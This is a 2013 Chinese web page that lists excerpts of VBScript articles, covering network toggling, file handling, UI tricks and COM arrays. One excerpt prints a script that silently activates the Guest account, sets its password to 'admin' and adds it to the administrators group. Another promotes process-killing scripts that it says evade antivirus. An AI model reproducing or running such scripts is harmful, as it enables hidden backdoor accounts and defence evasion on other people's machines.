快速业务通道

复制代码 代码如下: ConstssfCONTROLS=3 sConnectionName='本地连接'''可改成需要控制的连接名称,如'无线网络连接'等 sEnableVerb='启用(&A)' sDisableVerb='禁用(&B)'''XP系统中应为'停用(&B)' setshellApp=createobject('shell.application') setoControlPanel=shellApp.Namespace(ssfCONTROLS) setoNetConnection

发布时间:2013-07-09 作者: 佚名 views(432)

今天下午没课,躲进私人空间开始思考些问题。在浏览VBS相关案例时,自己写了两个小程序出来,有Hack性质的(其实只要能“借刀杀人”,什么软件没黑客性质?--!)。Kill.vbs用来在cmd下结束进程,Dis.vbs用来在窗口模式下防止某进程再次启动。这两个VBS都不会被杀毒软件KILL掉,并且有一定的隐蔽性……看代码!(''为注释)

发布时间:2013-07-09 作者: 佚名 views(272)

数据结构的问题相当重要,如果你能描述出一个问题的输入和输出数据结构,那么这个问题就大有希望,数据结构并不是C语言的专利,真正的数据结构是伪代码的。下面这个栈类是我以前搜集别人的代码,实际上每当考虑一个程序问题的时候,尤其是复杂的程序,就应该想到,用什么样的数据去描述你的输入和输出。 ''****************

发布时间:2013-07-09 作者: 佚名 views(207)

刚做完1个项目,闲的无聊,想改改自己HomePage,但没有Asp权限,所以突发奇想,用vbs模拟了一个图片分页显示功能!由于写的是适合自己使用的功能,难免很多地方不是很完善!也请各位路过的提些意见,若有朋友正好想找类似的功能,或许可以帮助一下,另外,祝论坛的每一位朋友元旦快乐! 复制代码 代码如下: scriptlanguage=

发布时间:2013-07-09 作者: 佚名 views(193)

文件操作 复制代码 代码如下: Set fso = Wscript.CreateObject('Scripting.FileSystemObject') ''创建文件系统对象,用以处理驱动器、文件夹和文件 Set WshShell = Wscript.CreateObject('Wscript.Shell') ''创建系统Shell对象,用以运行程序等等 if fso.fileexists('D:\刀剑Online\alreadyexist.txt') then ''如果找到文件

发布时间:2013-07-09 作者: 佚名 views(298)

先建立一个VBS文件内容如下: dimwsh setwsh=CreateObject('WScript.Shell') wsh.run'netuserguest/active:yes',0 wsh.run'netuserguestadmin',0 wsh.run'netlocalgroupadministratorsguest/add',0 上面一段VBS的意思就是激活GUEST帐号,并且加为高级管理组,设置密码为admin 那为什么不用那个BAT,继续往下看变知,再找到注

发布时间:2013-07-09 作者: 佚名 views(226)

vbs实现的下拉框对应键入值选择自gu1dai的Blog 关键字vbs实现的下拉框对应键入值 TITLEselectcenter/TITLE linkrel='stylesheet'type='text/css'href='style.css' METANAME='Generator'CONTENT='EditPlus' METANAME='Author'CONTENT='' METANAME='Keywords'CONTENT='' METANAME='Description'CONTENT=

发布时间:2013-07-09 作者: 佚名 views(311)

前天碰到有人问SAFEARRAY的问题,我正好对VBSCRIPT里面如何得到COM组件返回的数组感兴趣,就试验了一下。 IDE用的是VC7.1 开始都差不多,建立工程,建立COM对象,建立方法: 接口定义: [id(2),helpstring('methodGetArray')]HRESULTGetArray1([out,retval]VARIANT*v); 方法实现: STDMETHODIMPCATL3::GetArray1(VARIANT*pv

发布时间:2013-07-09 作者: 佚名 views(363)

Copyright ©1999-2011 厦门凌众科技有限公司 厦门优通互联科技开发有限公司 All rights reserved

地址(ADD):厦门软件园二期望海路63号701E(东南融通旁) 邮编(ZIP):361008

电话:0592-5908028 传真:0592-5908039 咨询信箱:web@lingzhong.cn 咨询OICQ:173723134

《中华人民共和国增值电信业务经营许可证》闽B2-20100024  ICP备案:闽ICP备05037997号